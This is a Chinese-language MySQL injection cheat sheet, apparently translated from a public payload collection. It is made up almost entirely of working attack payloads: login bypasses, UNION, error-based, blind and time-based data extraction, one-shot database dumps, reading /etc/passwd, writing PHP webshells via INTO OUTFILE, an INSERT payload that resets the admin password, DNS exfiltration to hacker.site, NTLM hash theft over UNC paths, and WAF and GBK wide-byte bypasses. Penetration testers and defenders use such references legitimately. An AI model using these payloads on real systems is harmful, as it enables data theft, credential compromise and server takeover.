跳转至

MySQL 注入 (MySQL Injection)

MySQL 注入是一种安全漏洞,当攻击者由于注入恶意输入而能够操纵对 MySQL 数据库进行的 SQL 查询时,就会发生这种攻击。这种漏洞通常是由于处理用户输入不当造成的,允许攻击者执行任意 SQL 代码,从而破坏数据库的完整性和安全性。

摘要 (Summary)

MySQL 默认数据库 (MySQL Default Databases)

名称 描述 (Description)
mysql 需要 root 权限
information_schema 适用于版本 5 及更高版本

MySQL 注释 (MySQL Comments)

MySQL 注释是 SQL 代码中的注解,在执行期间会被 MySQL 服务器忽略。

注释类型 描述 (Description)
# 井号注释
/* MySQL Comment */ C 风格注释
/*! MySQL Special SQL */ 内联路径 (特殊 SQL)
/*!32302 10*/ 针对 MySQL 3.23.02 版本的注释
-- SQL 标准注释
;%00 空字节
` 反引号

MySQL 注入测试 (MySQL Testing Injection)

  • 字符串型:形如 SELECT * FROM Table WHERE id = 'FUZZ'; 的查询

    '      返回 False (报错或异常)
    ''     返回 True (正常)
    "      返回 False
    ""     返回 True
    \      返回 False
    \\     返回 True
    
  • 数字型:形如 SELECT * FROM Table WHERE id = FUZZ; 的查询

    AND 1      返回 True
    AND 0      返回 False
    AND true   返回 True
    AND false  返回 False
    1-false    如果存在漏洞返回 1
    1-true     如果存在漏洞返回 0
    1*56       如果存在漏洞返回 56
    1*56       如果不存在漏洞可能返回 1
    
  • 登录绕过:形如 SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2'; 的查询

    ' OR '1
    ' OR 1 -- -
    " OR "" = "
    " OR 1 = 1 -- -
    '='
    'LIKE'
    '=0--+
    

基于 UNION 的 MySQL 注入 (MySQL Union Based)

检测列数 (Detect Columns Number)

要成功执行基于 UNION 的 SQL 注入,攻击者需要了解原始查询中的列数。

NULL 迭代法 (Iterative NULL Method)

系统地增加 UNION SELECT 语句中的列数,直到载荷执行不报错或产生可见变化。每次迭代都会检查列数的兼容性。

UNION SELECT NULL;--
UNION SELECT NULL, NULL;-- 
UNION SELECT NULL, NULL, NULL;-- 

ORDER BY 法 (ORDER BY Method)

不断增加序列号,直到获得 False 响应。尽管 GROUP BYORDER BY 在 SQL 中功能不同,但它们都可以以完全相同的方式用于确定查询中的列数。

ORDER BY GROUP BY 结果 (Result)
ORDER BY 1--+ GROUP BY 1--+ True
ORDER BY 2--+ GROUP BY 2--+ True
ORDER BY 3--+ GROUP BY 3--+ True
ORDER BY 4--+ GROUP BY 4--+ False

由于 ORDER BY 4 的结果为 false,这意味着该 SQL 查询仅有 3 列。 在基于 UNION 的 SQL 注入中,你可以 SELECT 任意数据以显示在页面上:-1' UNION SELECT 1,2,3--+

如果开启了错误显示,我们还可以通过一次请求检查列数。

ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause'

LIMIT INTO 法 (LIMIT INTO Method)

当开启了错误报告时,此方法非常有效。它可以帮助确定注入点发生在 LIMIT 子句之后的情况下的列数。

攻击载荷 (Payload) 报错消息 (Error)
1' LIMIT 1,1 INTO @--+ The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+ The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+ 无报错意味着查询使用 3 列

由于结果没有报错,意味着查询使用了 3 列:-1' UNION SELECT 1,2,3--+

使用 Information_Schema 提取数据库信息

此查询检索服务器上所有架构(数据库)的名称。

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata

此查询检索指定架构内的所有表名(架构名由占位符 PLACEHOLDER 表示)。

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER

此查询检索指定表中的所有列名。

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=...

此查询旨在从特定表中读取数据。

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,数据列名,0x7C) FROM 表名

不使用 Information_Schema 提取列名

适用于 MySQL >= 4.1 的方法。

攻击载荷 (Payload) 输出 (Output)
(1)and(SELECT * from db.users)=(1) Operand should contain 4 column(s)
1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1) Column 'id' cannot be null

适用于 MySQL 5 的方法。

攻击载荷 (Payload) 输出 (Output)
UNION SELECT * FROM (SELECT * FROM users JOIN users b)a Duplicate column name 'id'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a Duplicate column name 'name'
UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a 数据内容

不使用列名提取数据

在不知道第 4 列名称的情况下提取该列数据。

SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME;

在查询 select author_id,title from posts where author_id=[此处注入] 中的注入示例:

MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+

基于报错的 MySQL 注入 (MySQL Error Based)

报错载荷名 攻击载荷 (Payload)
GTID_SUBSET AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
JSON_KEYS AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
EXTRACTVALUE AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
UPDATEXML AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
EXP AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -
OR OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
NAME_CONST AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
UUID_TO_BIN AND UUID_TO_BIN(version())='1

基础报错注入 (MySQL Error Based - Basic)

适用于 MySQL >= 4.1

(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))
'+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+'

基于 UpdateXML 函数的报错注入

AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

更简短的写法:

UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

基于 ExtractValue 函数的报错注入

适用于 MySQL >= 5.1

?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--

基于 NAME_CONST 函数的报错注入 (仅适用于常量)

适用于 MySQL >= 5.0

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MySQL 盲注 (MySQL Blind)

MySQL 盲注下的 Substring 等价函数 (MySQL Blind With Substring Equivalent)

函数名 示例 描述 (Description)
SUBSTR SUBSTR(version(),1,1)=5 从字符串中提取子字符串(可以从任何位置开始)
SUBSTRING SUBSTRING(version(),1,1)=5 从字符串中提取子字符串(可以从任何位置开始)
RIGHT RIGHT(left(version(),1),1)=5 从字符串末尾提取指定数量的字符
MID MID(version(),1,1)=4 从字符串中提取子字符串(可以从任何位置开始)
LEFT LEFT(version(),1)=4 从字符串开头提取指定数量的字符

使用 SUBSTRING 或其他等效函数进行盲注的示例:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51

使用条件语句的 MySQL 盲注

  • 结果为 TRUE:如果 @@version 以 5 开头:

    2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
    响应消息:
    HTTP/1.1 500 Internal Server Error
    
  • 结果为 FALSE:如果 @@version 以 4 开头:

    2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
    响应消息:
    HTTP/1.1 200 OK
    

使用 MAKE_SET 的 MySQL 盲注

AND MAKE_SET(要提取的值<(SELECT(length(version()))),1)
AND MAKE_SET(要提取的值<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(要提取的值<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(要提取的值<ascii(substring(concat(login,password),POS,1)),1)

使用 LIKE 的 MySQL 盲注

在 MySQL 中,LIKE 运算符可用于在查询中执行模式匹配。该运算符允许使用通配符匹配未知或部分字符串。当攻击者不知道数据库中存储数据的长度或具体内容时,这在盲注场景下尤为有用。

LIKE 中的通配符:

  • 百分号 (%):此通配符代表零个、一个或多个字符。它可以用于匹配任何字符序列。
  • 下划线 (_):此通配符代表单个字符。当你了解数据的结构但不清楚特定位置的具体字符时,它可用于更精确的匹配。
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%用户输入%'

使用 REGEXP 的 MySQL 盲注

MySQL 的 REGEXP 运算符也可以用于执行盲注,它通过正则表达式来匹配字符串。当攻击者想要执行比 LIKE 运算符更复杂的模式匹配时,此技术特别有效。

攻击载荷 (Payload) 描述 (Description)
' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') -- 检查长度
' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') -- 检查是否存在数字
' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') -- 检查数据是否以 "a" 开头

基于时间的 MySQL 注入 (MySQL Time Based)

以下 SQL 代码将延迟 MySQL 的输出。

  • MySQL 4/5 : BENCHMARK()

    +BENCHMARK(40000000,SHA1(1337))+
    '+BENCHMARK(3200,SHA1(1))+'
    AND [随机数]=BENCHMARK([睡眠时间]000000,MD5('[随机串]'))
    
  • MySQL 5: SLEEP()

    RLIKE SLEEP([睡眠时间])
    OR ELT([随机数]=[随机数],SLEEP([睡眠时间]))
    XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR
    AND SLEEP(10)=0
    AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)
    

在子查询中使用 SLEEP

提取数据长度。

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')# 
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')#

提取第一个字符。

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')#

提取第二个字符。

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')#

提取第三个字符。

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')#

提取列名。

1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')#

使用条件语句

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MySQL DIOS - 一键拖库 (Dump in One Shot)

DIOS(Dump In One Shot)SQL 注入是一种高级技术,允许攻击者通过单个精心构造的 SQL 注入攻击载荷提取整个数据库内容。该方法利用了将多条数据拼接成单个结果集的能力,然后由数据库在一次响应中返回。

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (数据库名.表名) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',列名1,' ] > ',列名2,' > ',0x7C))))a)#
  • SecurityIdiots 方法

    make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
    
  • Profexer 方法

    (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
    
  • Dr.Z3r0 方法

    (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))
    
  • M@dBl00d 方法

    (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
    
  • Zen 方法

    +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
    
  • sharik 方法

    (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
    

MySQL 当前查询监控 (MySQL Current Queries)

INFORMATION_SCHEMA.PROCESSLIST 是 MySQL 和 MariaDB 中提供的一个特殊表,用于提供有关数据库服务器内活动进程和线程的信息。此表可以列出数据库当前正在执行的所有操作。

PROCESSLIST 表包含几个重要的列,每列都提供有关当前进程的详细信息。常见列包括:

  • ID:进程标识符。
  • USER:运行该进程的 MySQL 用户。
  • HOST:启动该进程的主机。
  • DB:进程当前访问的数据库(如果有)。
  • COMMAND:进程正在执行的命令类型(例如 Query, Sleep)。
  • TIME:进程运行的时间(以秒为单位)。
  • STATE:进程的当前状态。
  • INFO:正在执行的语句文本,如果未执行任何语句,则为 NULL。
SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;
ID 用户 主机 数据库 命令 时间 状态 信息 (INFO)
1 root localhost testdb Query 10 executing SELECT * FROM some_table
2 app_uset 192.168.0.101 appdb Sleep 300 sleeping NULL
3 gues_user example.com:3360 NULL Connect 0 connecting NULL
UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

一键拖库查询以提取该表的全部内容:

UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #

读取 MySQL 文件内容 (MySQL Read Content of a File)

需要具有 filepriv 权限,否则你会收到如下报错:ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

如果你在数据库上具有 root 权限,可以使用以下查询重新启用 LOAD_FILE

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MySQL 命令执行 (MySQL Command Execution)

WEBSHELL - OUTFILE 方法

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

WEBSHELL - DUMPFILE 方法

[...] UNION SELECT 0xPHP载荷的十六进制, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

系统命令 - UDF 库方法 (COMMAND - UDF Library)

首先,你需要检查服务器上是否安装了 UDF。

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

然后,你可以使用诸如 sys_execsys_eval 之类的函数。

$ mysql -u root -p mysql
输入密码: [...]

mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

MySQL INSERT 注入

ON DUPLICATE KEY UPDATE 关键字用于告诉 MySQL 当应用程序尝试插入表中已存在的行时该怎么做。我们可以利用此机制更改管理员密码:

注入攻击载荷如下:

attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --

执行的查询将如下所示:

INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_哈希值"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "你输入的密码的_BCRYPT_哈希值");

此查询将为用户 "attacker_dummy@example.com" 插入一行,并尝试为用户 "admin@example.com" 插入一行。

由于该行已存在,ON DUPLICATE KEY UPDATE 关键字会告诉 MySQL 将已存在行的 password 列更新为 "P@ssw0rd"。之后,我们便可以简单地使用 "admin@example.com" 和密码 "P@ssw0rd" 进行身份验证。

MySQL 截断攻击 (MySQL Truncation)

在 MySQL 中,"admin" 和 "admin" 被视为相同。如果数据库中的用户名列有字符限制,超出限制的字符将被截断。因此,如果数据库列限制为 20 个字符,而我们输入 21 个字符,则最后 1 个字符将被移除。

`username` varchar(20) not null

攻击载荷:username = "admin a"

MySQL 带外注入 (MySQL Out of Band)

SELECT @@version INTO OUTFILE '\\\\192.168.0.100\\temp\\out.txt';
SELECT @@version INTO DUMPFILE '\\\\192.168.0.100\\temp\\out.txt;

DNS 数据外带 (DNS Exfiltration)

SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));
SELECT LOAD_FILE(CONCAT(0x5c5c5c5c,VERSION(),0x2e6861636b65722e736974655c5c612e747874))

UNC 路径 - NTLM 哈希窃取 (UNC Path - NTLM Hash Stealing)

术语 "UNC 路径" 指的是通用命名公约路径,用于指定网络上资源(如共享文件或设备)的位置。它通常用于 Windows 环境,通过格式如 \\服务器\共享\文件 从网络访问文件。

SELECT LOAD_FILE('\\\\error\\abc');
SELECT LOAD_FILE(0x5c5c5c5c6572726f725c5c616263);
SELECT '' INTO DUMPFILE '\\\\error\\abc';
SELECT '' INTO OUTFILE '\\\\error\\abc';
LOAD DATA INFILE '\\\\error\\abc' INTO TABLE 数据库名.表名;

⚠ 别忘了对 '\\' 进行转义。

MySQL WAF 绕过 (MySQL WAF Bypass)

Information Schema 的替代方案

information_schema.tables 的替代方案:

SELECT * FROM mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> SHOW TABLES IN dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+

VERSION 的替代方案

mysql> SELECT @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+

mysql> SELECT @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT @@GLOBAL.VERSION;
+------------------+
| @@GLOBAL.VERSION |
+------------------+
| 8.0.27 |
+------------------+

GROUP_CONCAT 的替代方案

要求:MySQL >= 5.7.22

使用 json_arrayagg() 代替 group_concat(),它允许显示更多的字符:

  • group_concat() = 1024 个字符
  • json_arrayagg() > 16,000,000 个字符
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

科学计数法绕过 (Scientific Notation)

在 MySQL 中,e 记法用于以科学计数法表示数字。这是一种以简洁格式表达极大或极小数字的方法。e 记法由一个数字后跟字母 e 和一个指数组成。 格式为:底数 'e' 指数

例如:

  • 1e3 代表 1 x 10^3,即 1000
  • 1.5e3 代表 1.5 x 10^3,即 1500
  • 2e-3 代表 2 x 10^-3,即 0.002

以下查询是等效的:

  • SELECT table_name FROM information_schema 1.e.tables
  • SELECT table_name FROM information_schema .tables

同样地,绕过身份验证的常用载荷 ' or ''=' 等效于 ' or 1.e('')='1' or 1.e(1) or '1'='1。 此技术可用于混淆查询以绕过 WAF,例如:1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

条件注释 (Conditional Comments)

MySQL 条件注释包含在 /*! ... */ 中,并可以包含版本号,以指定应执行所含代码的 MySQL 最低版本。 仅当 MySQL 版本大于或等于 /*! 后面的数字时,该注释内的代码才会被执行。如果 MySQL 版本低于指定数字,注释内的代码将被忽略。

  • /*!12345UNION*/:这意味着如果 MySQL 版本为 12.345 或更高,UNION 一词将作为 SQL 语句的一部分执行。
  • /*!31337SELECT*/:类似地,如果 MySQL 版本为 31.337 或更高,SELECT 一词将被执行。

示例/*!12345UNION*/, /*!31337SELECT*/

宽字节注入 (GBK) (Wide Byte Injection)

宽字节注入是一种特定类型的 SQL 注入攻击,针对使用多字节字符集(如 GBK 或 SJIS)的应用程序。“宽字节”是指一个字符可以由一个以上字节表示的字符编码。当应用程序和数据库对多字节序列的解释不同时,此类注入尤为突出。

SET NAMES gbk 查询可能会在基于字符集的 SQL 注入攻击中被利用。当字符集设为 GBK 时,某些多字节字符可以被用来绕过转义机制并注入恶意 SQL 代码。

有几个字符可以用来触发注入:

  • %bf%27:这是字节序列 0xbf27 的 URL 编码表示。在 GBK 字符集中,0xbf27 解码为一个有效的多字节字符,后跟一个单引号 (')。当 MySQL 遇到此序列时,它会将其解释为一个有效的 GBK 字符后跟一个单引号,从而有效地终结了字符串。
  • %bf%5c:代表字节序列 0xbf5c。在 GBK 中,这解码为一个有效的多字节字符,后跟一个反斜杠 (\)。这可以用来转义序列中的下一个字符。
  • %a1%27:代表字节序列 0xa127。在 GBK 中,这解码为一个有效的多字节字符,后跟一个单引号 (')。

可以创建许多攻击载荷,例如:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --

下面是一个使用 GBK 编码并过滤用户输入以转义反斜杠、单引号和双引号的 PHP 示例:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //转义所有反斜杠
    $string = preg_replace('/\'/i', '\\\'', $string);                               //用反斜杠转义单引号
    $string = preg_replace('/\"/', "\\\"", $string);                                //用反斜杠转义双引号

    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

宽字节注入的工作原理分解如下:

例如,如果输入是 ?id=1',PHP 将添加一个反斜杠,导致 SQL 查询变为:SELECT * FROM users WHERE id='1\'' LIMIT 0,1

然而,当在单引号前引入序列 %df 时,如 ?id=1%df',PHP 仍然会添加反斜杠。这导致 SQL 查询变为:SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1

在 GBK 字符集中,序列 %df%5c 被翻译为字符 。因此,SQL 查询变为:SELECT * FROM users WHERE id='1連'' LIMIT 0,1。在这里,宽字节字符 实际上“吃掉”了添加的转义字符,从而允许进行 SQL 注入。

因此,通过使用攻击载荷 ?id=1%df' and 1=1 --+,在 PHP 添加反斜杠后,SQL 查询转换为:SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1。这个被改变的查询可以被成功注入,从而绕过预期的 SQL 逻辑。

参考资料 (References)